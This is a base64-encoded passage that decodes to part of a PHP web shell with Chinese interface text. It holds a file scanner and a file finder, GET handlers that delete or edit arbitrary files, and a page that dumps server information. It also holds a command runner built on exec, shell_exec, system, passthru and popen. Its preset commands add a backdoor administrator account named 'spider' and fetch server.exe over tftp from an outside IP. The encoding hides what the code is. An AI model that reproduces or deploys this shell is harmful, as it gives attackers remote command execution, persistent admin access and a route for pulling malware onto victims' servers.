PSJjaGVja2JveCIgbmFtZT0idGQiIHZhbHVlPSIxIiBjaGVja2VkPrGjs9bOxLz+0N64xMqxvOSyu7HkPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6NTBweDsiPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idGIiIHZhbHVlPSJhIiBjaGVja2VkPr2rzOa7u9Om08PT2rjDzsS8/rzQLNfTzsS8/rzQus3OxLz+DQo8YnI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0YiIgdmFsdWU9ImIiPr32vavM5ru706bTw9PauMPOxLz+vNA8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Ir+qyrzM5ru7IiBzdHlsZT0id2lkdGg6ODBweDtoZWlnaHQ6MjZweDsiIG9uY2xpY2s9ImF1dG91cCgpOyI+PC9kaXY+DQo8L2Zvcm0+DQpFTkQ7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vyajD6MS+wu0NCg0KZnVuY3Rpb24gQW50aXZpcnVzX0F1dG8oJHNwLCRmZWF0dXJlcywkc3QsJHNiKQ0Kew0KCWlmKCgkaF9kID0gQG9wZW5kaXIoJHNwKSkgPT0gTlVMTCkgcmV0dXJuIGZhbHNlOw0KCSRST09UX0RJUiA9IEZpbGVfTW9kZSgpOw0KCXdoaWxlKGZhbHNlICE9PSAoJEZpbGVuYW1lID0gQHJlYWRkaXIoJGhfZCkpKQ0KCXsNCgkJaWYoJEZpbGVuYW1lID09ICcuJyB8fCAkRmlsZW5hbWUgPT0gJy4uJykgY29udGludWU7DQoJCSRGaWxlcGF0aCA9IEZpbGVfU3RyKCRzcC4nLycuJEZpbGVuYW1lKTsNCgkJaWYoaXNfZGlyKCRGaWxlcGF0aCkgJiYgJHNiKSBBbnRpdmlydXNfQXV0bygkRmlsZXBhdGgsJGZlYXR1cmVzLCRzdCk7DQoJCWlmKGVyZWdpKCRzdCwkRmlsZW5hbWUpKQ0KCQl7DQoJCQlpZigkRmlsZXBhdGggPT0gRmlsZV9TdHIoX19GSUxFX18pKSBjb250aW51ZTsNCgkJCSRpYyA9IEZpbGVfUmVhZCgkRmlsZXBhdGgpOw0KCQkJZm9yZWFjaCgkZmVhdHVyZXMgYXMgJHZhciA9PiAka2V5KQ0KCQkJew0KCQkJCWlmKHN0cmlzdHIoJGljLCRrZXkpKQ0KCQkJCXsNCgkJCQkJJEZpbGV1cmxzID0gc3RyX3JlcGxhY2UoJFJPT1RfRElSLCdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4nLycsJEZpbGVwYXRoKTsNCgkJCQkJJEZpbGV0aW1lID0gQGRhdGUoJ1ktbS1kIEg6aTpzJyxAZmlsZW10aW1lKCRGaWxlcGF0aCkpOw0KCQkJCQllY2hvICcgPGEgaHJlZj0iJy4kRmlsZXVybHMuJyIgdGFyZ2V0PSJfYmxhbmsiPiA8Zm9udCBjb2xvcj0iIzhCMDAwMCI+ICcuJEZpbGVwYXRoLicgPC9mb250PiA8L2E+IDxicj4gob48YSBocmVmPSI/cz1lJmZwPScudXJsZW5jb2RlKCRzcCkuJyZmbj0nLiRGaWxlbmFtZS4nJmRpbT0nLnVybGVuY29kZSgka2V5KS4nIiB0YXJnZXQ9Il9ibGFuayI+ILHgvK0gPC9hPiA8YSBocmVmPSI/cz1lJmRmPScudXJsZW5jb2RlKCRGaWxlcGF0aCkuJyIgdGFyZ2V0PSJfYmxhbmsiPiDJvrP9IDwvYT4gob8gJzsNCgkJCQkJZWNobyAnIKG+ICcuJEZpbGV0aW1lLicgob8gPGZvbnQgY29sb3I9IiNGRjAwMDAiPiAnLiR2YXIuJyA8L2ZvbnQ+IDxicj4gPGJyPiAnLiJcclxuIjsNCgkJCQkJYnJlYWs7DQoJCQkJfQ0KCQkJfQ0KCQkJb2JfZmx1c2goKTsNCgkJCWZsdXNoKCk7DQoJCX0NCgl9DQoJQGNsb3NlZGlyKCRoX2QpOw0KCXJldHVybiB0cnVlOw0KfQ0KDQpmdW5jdGlvbiBBbnRpdmlydXNfZSgpDQp7DQoJaWYoIWVtcHR5KCRfR0VUWydkZiddKSl7ZWNobyAkX0dFVFsnZGYnXTtpZihAdW5saW5rKCRfR0VUWydkZiddKSl7ZWNobyAnyb6z/bPJuaYnO31lbHNle0BjaG1vZCgkX0dFVFsnZGYnXSwwNjY2KTtlY2hvIEB1bmxpbmsoJF9HRVRbJ2RmJ10pID8gJ8m+s/2zybmmJyA6ICfJvrP9yqew3Cc7fSByZXR1cm4gZmFsc2U7fQ0KCWlmKCghZW1wdHkoJF9HRVRbJ2ZwJ10pKSAmJiAoIWVtcHR5KCRfR0VUWydmbiddKSkgJiYgKCFlbXB0eSgkX0dFVFsnZGltJ10pKSkgeyBGaWxlX0VkaXQoJF9HRVRbJ2ZwJ10sJF9HRVRbJ2ZuJ10sJF9HRVRbJ2RpbSddKTsgcmV0dXJuIGZhbHNlOyB9DQoJJFNDQU5fRElSID0gaXNzZXQoJF9QT1NUWydzcCddKSA/ICRfUE9TVFsnc3AnXSA6IEZpbGVfTW9kZSgpOw0KCSRmZWF0dXJlc19waHAgPSBhcnJheSgncGhwtPPC7czY1fcxJz0+J2NoYTg4LmNuJywncGhwtPPC7czY1fcyJz0+Jy0+cmVhZCgpJywncGhwtPPC7czY1fczJz0+J3JlYWRkaXIoJywnzqPP1U1ZU1FM0+++5DQnPT4ncmV0dXJucyBzdHJpbmcgc29uYW1lJywncGhwvNPD3LTzwu3M2NX3NSc9PidldmFsKGd6aW5mbGF0ZSgnLCdwaHC808PctPPC7czY1fc2Jz0+J2V2YWwoYmFzZTY0X2RlY29kZSgnLCdwaHDSu77ku7DM2NX3Nyc9PidldmFsKCRfJywncGhw0ru+5LuwzNjV9zgnPT4nZXZhbCAoJF8nLCdwaHDJz7SruvPDxczY1fc5Jz0+J2NvcHkoJF9GSUxFUycsJ3BocMnPtKu688PFzNjV9zEwJz0+J2NvcHkgKCRfRklMRVMnLCdwaHDJz7SruvPDxczY1fcxMSc9Pidtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFUycsJ3BocMnPtKu688PFzNjV9zEyJz0+J21vdmVfdXBsb2FkZWRfZmlsZSAoJF9GSUxFUycsJ3BocNChwu3M2NX3MTMnPT4nc3RyX3JlcGxhY2UoXCdcXFxcXCcsXCcvXCcsJyk7DQoJJGZlYXR1cmVzX2FzeCA9IGFycmF5KCdhc3DQocLtzNjV9zEnPT4nvvi21MK3vrYnLCdhc3DQocLtzNjV9zInPT4nyuTI68LttcTE2sjdJywnYXNw0KHC7czY1fczJz0+J2Zzby5jcmVhdGV0ZXh0ZmlsZShwYXRoLHRydWUpJywnYXNw0ru+5LuwzNjV9zQnPT4nPCVleGVjdXRlKHJlcXVlc3QnLCdhc3DSu77ku7DM2NX3NSc9Pic8JWV2YWwgcmVxdWVzdCcsJ2FzcNK7vuS7sMzY1fc2Jz0+J2V4ZWN1dGUgc2Vzc2lvbignLCdhc3DK/b7dv+K688PFzNjV9zcnPT4nLS1DcmVhdGVkIScsJ2FzcLTzwu3M2NX3OCc9PidXU2NyaXB0LlNoZWxsJywnYXNwtPPQocLtzNjV9zknPT4nPCVAIExBTkdVQUdFID0gVkJTY3JpcHQuRW5jb2RlICU+JywnYXNweLTzwu3M2NX3MTAnPT4nd3d3LnJvb3RraXQubmV0LmNuJywnYXNweLTzwu3M2NX3MTEnPT4nUHJvY2Vzcy5HZXRQcm9jZXNzZXMnLCdhc3B4tPPC7czY1fcxMic9PidsYWtlMicpOw0KcHJpbnQ8PDxFTkQNCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0idGZvcm0iIGlkPSJ0Zm9ybSIgYWN0aW9uPSI/cz1lIj4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+yajD6MK3vrYgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNwIiBpZD0ic3AiIHZhbHVlPSJ7JFNDQU5fRElSfSIgc3R5bGU9IndpZHRoOjYwMHB4OyI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPsS+wu3A4NDNIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic3RwaHAiIHZhbHVlPSJwaHAiIGNoZWNrZWQ+cGhwxL7C7SANCjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic3Rhc3giIHZhbHVlPSJhc3giPmFzcCthc3B4xL7C7TwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIiBzdHlsZT0iaGVpZ2h0OjUwcHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNiIiB2YWx1ZT0iYSIgY2hlY2tlZD69q8mowu3TptPD09q4w87EvP680CzX087EvP680LrNzsS8/g0KPGJyPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0ic2IiIHZhbHVlPSJiIj699r2ryajC7dOm08PT2rjDzsS8/rzQPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSK/qsq8yajD6CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCglpZighZW1wdHkoJF9QT1NUWydzcCddKSkNCgl7DQoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsNCgkJaWYoaXNzZXQoJF9QT1NUWydzdHBocCddKSl7JGZlYXR1cmVzX2FsbCA9ICRmZWF0dXJlc19waHA7ICRzdCA9ICdcLnBocHxcLmluY3xcOyc7fQ0KCQlpZihpc3NldCgkX1BPU1RbJ3N0YXN4J10pKXskZmVhdHVyZXNfYWxsID0gJGZlYXR1cmVzX2FzeDsgJHN0ID0gJ1wuYXNwfFwuYXNhfFwuY2VyfFwuYXNweHxcLmFzY3h8XDsnO30NCgkJaWYoaXNzZXQoJF9QT1NUWydzdHBocCddKSAmJiBpc3NldCgkX1BPU1RbJ3N0YXN4J10pKXskZmVhdHVyZXNfYWxsID0gYXJyYXlfbWVyZ2UoJGZlYXR1cmVzX3BocCwkZmVhdHVyZXNfYXN4KTsgJHN0ID0gJ1wucGhwfFwuaW5jfFwuYXNwfFwuYXNhfFwuY2VyfFwuYXNweHxcLmFzY3h8XDsnO30NCgkJJHNiID0gKCRfUE9TVFsnc2InXSA9PSAnYScpID8gdHJ1ZSA6IGZhbHNlOw0KCQllY2hvIEFudGl2aXJ1c19BdXRvKCRfUE9TVFsnc3AnXSwkZmVhdHVyZXNfYWxsLCRzdCwkc2IpID8gJ8mow+jN6rHPJyA6ICfS7LOj1tXWuSc7DQoJCWVjaG8gJzwvZGl2Pic7DQoJfQ0KCXJldHVybiB0cnVlOw0KfQ0KDQovL8vRy/fOxLz+DQoNCmZ1bmN0aW9uIEZpbmRmaWxlX0F1dG8oJHNmcCwkc2ZjLCRzZnQsJHNmZiwkc2ZiKQ0Kew0KCS8vZWNobyAkc2ZwLic8YnI+Jy4kc2ZjLic8YnI+Jy4kc2Z0Lic8YnI+Jy4kc2ZmLic8YnI+Jy4kc2ZiOw0KCWlmKCgkaF9kID0gQG9wZW5kaXIoJHNmcCkpID09IE5VTEwpIHJldHVybiBmYWxzZTsNCgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkNCgl7DQoJCWlmKCRGaWxlbmFtZSA9PSAnLicgfHwgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOw0KCQlpZihlcmVnaSgkc2Z0LCRGaWxlbmFtZSkpIGNvbnRpbnVlOw0KCQkkRmlsZXBhdGggPSBGaWxlX1N0cigkc2ZwLicvJy4kRmlsZW5hbWUpOw0KCQlpZihpc19kaXIoJEZpbGVwYXRoKSAmJiAkc2ZiKSBGaW5kZmlsZV9BdXRvKCRGaWxlcGF0aCwkc2ZjLCRzZnQsJHNmZiwkc2ZiKTsNCgkJaWYoJHNmZikNCgkJew0KCQkJaWYoc3RyaXN0cigkRmlsZW5hbWUsJHNmYykpDQoJCQl7DQoJCQkJZWNobyAnPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ij9zPXAmZnA9Jy51cmxlbmNvZGUoJHNmcCkuJyZmbj0nLnVybGVuY29kZSgkRmlsZW5hbWUpLiciPiAnLiRGaWxlcGF0aC4nIDwvYT48YnI+Jy4iXHJcbiI7DQoJCQkJb2JfZmx1c2goKTsNCgkJCQlmbHVzaCgpOw0KCQkJfQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJEZpbGVfY29kZSA9IEZpbGVfUmVhZCgkRmlsZXBhdGgpOw0KCQkJaWYoc3RyaXN0cigkRmlsZV9jb2RlLCRzZmMpKQ0KCQkJew0KCQkJCWVjaG8gJzxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSI/cz1wJmZwPScudXJsZW5jb2RlKCRzZnApLicmZm49Jy51cmxlbmNvZGUoJEZpbGVuYW1lKS4nIj4gJy4kRmlsZXBhdGguJyA8L2E+PGJyPicuIlxyXG4iOw0KCQkJCW9iX2ZsdXNoKCk7DQoJCQkJZmx1c2goKTsNCgkJCX0NCgkJfQ0KCX0NCglAY2xvc2VkaXIoJGhfZCk7DQoJcmV0dXJuIHRydWU7DQp9DQoNCmZ1bmN0aW9uIEZpbmRmaWxlX2ooKQ0Kew0KCWlmKCFlbXB0eSgkX0dFVFsnZGYnXSkpe2VjaG8gJF9HRVRbJ2RmJ107aWYoQHVubGluaygkX0dFVFsnZGYnXSkpe2VjaG8gJ8m+s/2zybmmJzt9ZWxzZXtAY2htb2QoJF9HRVRbJ2RmJ10sMDY2Nik7ZWNobyBAdW5saW5rKCRfR0VUWydkZiddKSA/ICfJvrP9s8m5picgOiAnyb6z/cqnsNwnO30gcmV0dXJuIGZhbHNlO30NCglpZigoIWVtcHR5KCRfR0VUWydmcCddKSkgJiYgKCFlbXB0eSgkX0dFVFsnZm4nXSkpICYmICghZW1wdHkoJF9HRVRbJ2RpbSddKSkpIHsgRmlsZV9FZGl0KCRfR0VUWydmcCddLCRfR0VUWydmbiddLCRfR0VUWydkaW0nXSk7IHJldHVybiBmYWxzZTsgfQ0KCSRTQ0FOX0RJUiA9IGlzc2V0KCRfUE9TVFsnc2ZwJ10pID8gJF9QT1NUWydzZnAnXSA6IEZpbGVfTW9kZSgpOw0KCSRTQ0FOX0NPREUgPSBpc3NldCgkX1BPU1RbJ3NmYyddKSA/ICRfUE9TVFsnc2ZjJ10gOiAnY29uZmlnJzsNCgkkU0NBTl9UWVBFID0gaXNzZXQoJF9QT1NUWydzZnQnXSkgPyAkX1BPU1RbJ3NmdCddIDogJy5tcDN8Lm1wNHwuYXZpfC5zd2Z8LmpwZ3wuZ2lmfC5wbmd8LmJtcHwuZ2hvfC5yYXJ8LmV4ZXwuemlwJzsNCnByaW50PDw8RU5EDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9Impmb3JtIiBpZD0iamZvcm0iIGFjdGlvbj0iP3M9aiI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPsmow+jCt762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZnAiIHZhbHVlPSJ7JFNDQU5fRElSfSIgc3R5bGU9IndpZHRoOjYwMHB4OyI+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPrn9wsvOxLz+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZnQiIHZhbHVlPSJ7JFNDQU5fVFlQRX0iIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj652Lz819a0riA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2ZjIiB2YWx1ZT0ieyRTQ0FOX0NPREV9IiBzdHlsZT0id2lkdGg6Mzk1cHg7Ij4NCjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0ic2ZmIiB2YWx1ZT0iYSIgY2hlY2tlZD7L0cv3zsS8/sP7IA0KPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJzZmYiIHZhbHVlPSJiIj7L0cv3sPy6rM7E19Y8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDo1MHB4OyI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJzZmIiIHZhbHVlPSJhIiBjaGVja2VkPr2ry9HL99Om08PT2rjDzsS8/rzQLNfTzsS8/rzQus3OxLz+DQo8YnI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJzZmIiIHZhbHVlPSJiIj699r2ry9HL99Om08PT2rjDzsS8/rzQPC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSK/qsq8yajD6CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCglpZigoIWVtcHR5KCRfUE9TVFsnc2ZwJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsnc2ZjJ10pKSkNCgl7DQoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsNCgkJJF9QT1NUWydzZnQnXSA9IHN0cl9yZXBsYWNlKCcuJywnXFwuJywkX1BPU1RbJ3NmdCddKTsNCgkJJHNmZiA9ICgkX1BPU1RbJ3NmZiddID09ICdhJykgPyB0cnVlIDogZmFsc2U7DQoJCSRzZmIgPSAoJF9QT1NUWydzZmInXSA9PSAnYScpID8gdHJ1ZSA6IGZhbHNlOw0KCQllY2hvIEZpbmRmaWxlX0F1dG8oJF9QT1NUWydzZnAnXSwkX1BPU1RbJ3NmYyddLCRfUE9TVFsnc2Z0J10sJHNmZiwkc2ZiKSA/ICfL0cv3zeqxzycgOiAn0uyzo9bV1rknOw0KCQllY2hvICc8L2Rpdj4nOw0KCX0NCglyZXR1cm4gdHJ1ZTsNCn0NCg0KLy/Ptc2z0MXPog0KDQpmdW5jdGlvbiBJbmZvX0NmZygkdmFybmFtZSl7c3dpdGNoKCRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSkpe2Nhc2UgMDogcmV0dXJuICJObyI7IGJyZWFrOyBjYXNlIDE6IHJldHVybiAiWWVzIjsgYnJlYWs7IGRlZmF1bHQ6IHJldHVybiAkcmVzdWx0OyBicmVhazt9fQ0KZnVuY3Rpb24gSW5mb19GdW4oJGZ1bk5hbWUpe3JldHVybiAoZmFsc2UgIT09IGZ1bmN0aW9uX2V4aXN0cygkZnVuTmFtZSkpID8gIlllcyIgOiAiTm8iO30NCmZ1bmN0aW9uIEluZm9fZigpDQp7DQoJJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoImRpc2FibGVfZnVuY3Rpb25zIik7DQoJJHVwc2l6ZSA9IGdldF9jZmdfdmFyKCJmaWxlX3VwbG9hZHMiKSA/IGdldF9jZmdfdmFyKCJ1cGxvYWRfbWF4X2ZpbGVzaXplIikgOiAisrvUytDtyc+0qyI7DQoJJGFkbWlubWFpbCA9IChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pKSA/ICI8YSBocmVmPVwibWFpbHRvOiIuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLiJcIj4iLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4iPC9hPiIgOiAiPGEgaHJlZj1cIm1haWx0bzoiLmdldF9jZmdfdmFyKCJzZW5kbWFpbF9mcm9tIikuIlwiPiIuZ2V0X2NmZ192YXIoInNlbmRtYWlsX2Zyb20iKS4iPC9hPiI7DQoJaWYoJGRpc19mdW5jID09ICIiKXskZGlzX2Z1bmMgPSAiTm8iO31lbHNleyRkaXNfZnVuYyA9IHN0cl9yZXBsYWNlKCIgIiwiPGJyPiIsJGRpc19mdW5jKTskZGlzX2Z1bmMgPSBzdHJfcmVwbGFjZSgiLCIsIjxicj4iLCRkaXNfZnVuYyk7fQ0KCSRwaHBpbmZvID0gKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAiWWVzIiA6ICJObyI7DQoJJGluZm8gPSBhcnJheSgNCgkJYXJyYXkoIrf+zvHG98qxvOQiLGRhdGUoIlnE6m3UwmTI1SBoOmk6cyIsdGltZSgpKSksDQoJCWFycmF5KCK3/s7xxvfT8sP7IiwiPGEgaHJlZj1cImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiI8L2E+IiksDQoJCWFycmF5KCK3/s7xxvdJULXY1rciLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwNCgkJYXJyYXkoIrf+zvHG97LZ1/fPtc2zIixQSFBfT1MpLA0KCQlhcnJheSgit/7O8cb3stnX98+1zbPOxNfWseDC6yIsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLA0KCQlhcnJheSgit/7O8cb3veLS69L9x+YiLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksDQoJCWFycmF5KCLE47XESVAiLGdldGVudignUkVNT1RFX0FERFInKSksDQoJCWFycmF5KCJXZWK3/s7xtsu/2iIsJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pLA0KCQlhcnJheSgiUEhQ1MvQ0Le9yr0iLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksDQoJCWFycmF5KCJQSFCw5rG+IixQSFBfVkVSU0lPTiksDQoJCWFycmF5KCLUy9DQ09qwssirxKPKvSIsSW5mb19DZmcoInNhZmVtb2RlIikpLA0KCQlhcnJheSgit/7O8cb3udzA7dSxIiwkYWRtaW5tYWlsKSwNCgkJYXJyYXkoIrG+zsS8/sK3vrYiLF9fRklMRV9fKSwNCgkJYXJyYXkoItTK0O3KudPDIFVSTCC08r+qzsS8/iBhbGxvd191cmxfZm9wZW4iLEluZm9fQ2ZnKCJhbGxvd191cmxfZm9wZW4iKSksDQoJCWFycmF5KCLUytDttq/MrLzT1NjBtL3Tv+IgZW5hYmxlX2RsIixJbmZvX0NmZygiZW5hYmxlX2RsIikpLA0KCQlhcnJheSgiz9TKvrTtzvPQxc+iIGRpc3BsYXlfZXJyb3JzIixJbmZvX0NmZygiZGlzcGxheV9lcnJvcnMiKSksDQoJCWFycmF5KCLX1LavtqjS5cirvtax5MG/IHJlZ2lzdGVyX2dsb2JhbHMiLEluZm9fQ2ZnKCJyZWdpc3Rlcl9nbG9iYWxzIikpLA0KCQlhcnJheSgibWFnaWNfcXVvdGVzX2dwYyIsSW5mb19DZmcoIm1hZ2ljX3F1b3Rlc19ncGMiKSksDQoJCWFycmF5KCKzzNDy1+624NTK0O3KudPDxNq05sG/IG1lbW9yeV9saW1pdCIsSW5mb19DZmcoIm1lbW9yeV9saW1pdCIpKSwNCgkJYXJyYXkoIlBPU1TX7rTz19a92sr9IHBvc3RfbWF4X3NpemUiLEluZm9fQ2ZnKCJwb3N0X21heF9zaXplIikpLA0KCQlhcnJheSgi1MrQ7dfutPPJz7SrzsS8/iB1cGxvYWRfbWF4X2ZpbGVzaXplIiwkdXBzaXplKSwNCgkJYXJyYXkoIrPM0PLX7rOk1MvQ0MqxvOQgbWF4X2V4ZWN1dGlvbl90aW1lIixJbmZvX0NmZygibWF4X2V4ZWN1dGlvbl90aW1lIikuIsPrIiksDQoJCWFycmF5KCKxu73708O1xLqvyv0gZGlzYWJsZV9mdW5jdGlvbnMiLCRkaXNfZnVuYyksDQoJCWFycmF5KCJwaHBpbmZvKCkiLCRwaHBpbmZvKSwNCgkJYXJyYXkoIsS/x7C7udPQv9XT4L/VvORkaXNrZnJlZXNwYWNlIixpbnR2YWwoZGlza2ZyZWVzcGFjZSgiLiIpIC8gKDEwMjQgKiAxMDI0KSkuJ01iJyksDQoJCWFycmF5KCLNvNDOtKbA7SBHRCBMaWJyYXJ5IixJbmZvX0Z1bigiaW1hZ2VsaW5lIikpLA0KCQlhcnJheSgiSU1BULXn19PTyrz+z7XNsyIsSW5mb19GdW4oImltYXBfY2xvc2UiKSksDQoJCWFycmF5KCJNeVNRTMr9vt2/4iIsSW5mb19GdW4oIm15c3FsX2Nsb3NlIikpLA0KCQlhcnJheSgiU3lCYXNlyv2+3b/iIixJbmZvX0Z1bigic3liYXNlX2Nsb3NlIikpLA0KCQlhcnJheSgiT3JhY2xlyv2+3b/iIixJbmZvX0Z1bigib3JhX2Nsb3NlIikpLA0KCQlhcnJheSgiT3JhY2xlIDggyv2+3b/iIixJbmZvX0Z1bigiT0NJTG9nT2ZmIikpLA0KCQlhcnJheSgiUFJFTM/gyN3T77eoIFBDUkUiLEluZm9fRnVuKCJwcmVnX21hdGNoIikpLA0KCQlhcnJheSgiUERGzsS1tdans9YiLEluZm9fRnVuKCJwZGZfY2xvc2UiKSksDQoJCWFycmF5KCJQb3N0Z3JlIFNRTMr9vt2/4iIsSW5mb19GdW4oInBnX2Nsb3NlIikpLA0KCQlhcnJheSgiU05NUM34wue53MDt0K3S6SIsSW5mb19GdW4oInNubXBnZXQiKSksDQoJCWFycmF5KCLRucv1zsS8/tans9YoWmxpYikiLEluZm9fRnVuKCJnemNsb3NlIikpLA0KCQlhcnJheSgiWE1MveLO9iIsSW5mb19GdW4oInhtbF9zZXRfb2JqZWN0IikpLA0KCQlhcnJheSgiRlRQIixJbmZvX0Z1bigiZnRwX2xvZ2luIikpLA0KCQlhcnJheSgiT0RCQ8r9vt2/4sGsvdMiLEluZm9fRnVuKCJvZGJjX2Nsb3NlIikpLA0KCQlhcnJheSgiU2Vzc2lvbtans9YiLEluZm9fRnVuKCJzZXNzaW9uX3N0YXJ0IikpLA0KCQlhcnJheSgiU29ja2V01qez1iIsSW5mb19GdW4oImZzb2Nrb3BlbiIpKSwNCgkpOw0KCWVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIj4nOw0KCWZvcigkaSA9IDA7JGkgPCBjb3VudCgkaW5mbyk7JGkrKyl7ZWNobyAnPHRyPjx0ZCB3aWR0aD0iNDAlIj4nLiRpbmZvWyRpXVswXS4nPC90ZD48dGQ+Jy4kaW5mb1skaV1bMV0uJzwvdGQ+PC90cj4nLiJcbiI7fQ0KCWVjaG8gJzwvdGFibGU+JzsNCglyZXR1cm4gdHJ1ZTsNCn0NCg0KLy/WtNDQw/zB7g0KDQpmdW5jdGlvbiBFeGVjX1J1bigkY21kKQ0Kew0KCSRyZXMgPSAnJzsNCglpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7QGV4ZWMoJGNtZCwkcmVzKTskcmVzID0gam9pbigiXG4iLCRyZXMpO30NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyRyZXMgPSBAc2hlbGxfZXhlYygkY21kKTt9DQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpe0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7fQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpe0BvYl9zdGFydCgpO0BwYXNzdGhydSgkY21kKTskcmVzID0gQG9iX2dldF9jb250ZW50cygpO0BvYl9lbmRfY2xlYW4oKTt9DQoJZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY21kLCJyIikpKXskcmVzID0gJyc7d2hpbGUoIUBmZW9mKCRmKSl7JHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7fUBwY2xvc2UoJGYpO30NCglyZXR1cm4gJHJlczsNCn0NCg0KDQpmdW5jdGlvbiBFeGVjX2coKQ0Kew0KCSRyZXMgPSAnu9jP1LSwv9onOw0KCSRjbWQgPSAnZGlyJzsNCglpZighZW1wdHkoJF9QT1NUWydjbWQnXSkpeyRyZXMgPSBFeGVjX1J1bigkX1BPU1RbJ2NtZCddKTskY21kID0gJF9QT1NUWydjbWQnXTt9DQpwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBzRnVsbChpKXsNCglTdHIgPSBuZXcgQXJyYXkoMTEpOw0KCVN0clswXSA9ICJkaXIiOw0KCVN0clsxXSA9ICJuZXQgdXNlciBzcGlkZXIgc3BpZGVyIC9hZGQiOw0KCVN0clsyXSA9ICJuZXQgbG9jYWxncm91cCBhZG1pbmlzdHJhdG9ycyBzcGlkZXIgL2FkZCI7DQoJU3RyWzNdID0gIm5ldHN0YXQgLWFuIjsNCglTdHJbNF0gPSAiaXBjb25maWciOw0KCVN0cls1XSA9ICJjb3B5IGM6XFwxLnBocCBkOlxcMi5waHAiOw0KCVN0cls2XSA9ICJ0ZnRwIC1pIDIxOS4xMzQuNDYuMjQ1IGdldCBzZXJ2ZXIuZXhlIGM6XFxzZXJ2ZXIuZXhlIjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykudmFsdWUgPSBTdHJbaV07DQoJcmV0dXJuIHRydWU7DQp9DQo8L3NjcmlwdD4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0iZ2Zvcm0iIGlkPSJnZm9ybSIgYWN0aW9uPSI/cz1nIj48Y2VudGVyPjxkaXYgY2xhc3M9ImFjdGFsbCI+